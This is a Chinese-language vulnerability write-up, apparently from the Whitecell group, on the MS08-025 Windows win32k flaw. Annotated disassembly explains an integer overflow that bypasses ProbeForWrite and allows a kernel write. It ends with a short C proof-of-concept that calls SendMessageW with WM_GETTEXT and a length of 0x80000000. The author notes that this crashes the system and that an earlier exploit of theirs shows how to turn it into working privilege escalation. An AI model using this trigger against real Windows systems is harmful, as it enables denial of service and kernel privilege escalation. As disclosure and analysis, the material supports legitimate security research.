.text:BF86FB04
.text:BF86FB04 push 14h
.text:BF86FB06 push offset unk_BF98D250
.text:BF86FB0B call __SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp+ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp+var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp+arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 or eax, esi
.text:BF86FB27 mov [ebp+var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp+arg_8] -> esi = 缓冲区长度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp+var_20], eax
.text:BF86FB36 cmp [ebp+arg_18], edx -> 如果是 ansi 方式就直接进行检查，否则需要计算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax+eax] <- 注意这里，问题就在这里，此时 eax = unicode字符串的长度，
<- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000，32位的寄存器
<- 被溢出了，esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47: ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
.text:BF86FB47 mov [ebp+var_24], edx
.text:BF86FB4A mov esi, [ebp+Address]
.text:BF86FB4D mov [ebp+UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 push ebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 push eax ; Length <- 由于 eax = 0，所以ProbeForWrite被绕过
.text:BF86FB57 push esi ; Address
.text:BF86FB58 call ds:ProbeForWrite(x,x,x)
bf80a1b0 e96ef4ffff jmp win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510 mov [ebp+0x10],eax
bf80a1ba ebf1 jmp win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514 mov eax,[ebp+0x14]
bf80a1bf f6400780 test byte ptr [eax+0x7],0x80
bf80a1c3 8b4008 mov eax,[eax+0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000 mov byte ptr [eax],0x0
bf80a1cb e951f4ffff jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910 mov [eax],dx <- 在这里，对前面传入的指针进行了2个字节的写操作，写入的数据为0
bf80a1d3 e949f4ffff jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00 push 0x0
bf80a1da 6a02 push 0x2
bf80a1dc ff7638 push dword ptr [esi+0x38]
bf80a1df e8d1690200 call win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff test edi,edi
bf80a1e8 0f8433f4ffff je win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710 lea esi,[edi+0x10]
那么怎么触发这个漏洞呢，我又分析了 user32.dll 和 win32k!NtUserMessageCall，
发现触发这个漏洞很简单，只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了，
下面是poc代码(注，改代码运行后由于在内核写了未映射的内存，会直接蓝屏，要改成可
用的exploit，可以参考我以前的exploit)
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
DWORD dwHookAddress = 0x80000000;
printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
printf( "Create by Whitecell’s Polymorphours@whitecell.org 2008/04/10\n" );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
return 0;
}
WSS(Whitecell Security Systems)，一个非营利性民间技术组织，致力于各种系统安全技术的研究。坚持传统的hacker精神，追求技术的精纯。
WSS 主页：http://www.whitecell.org/
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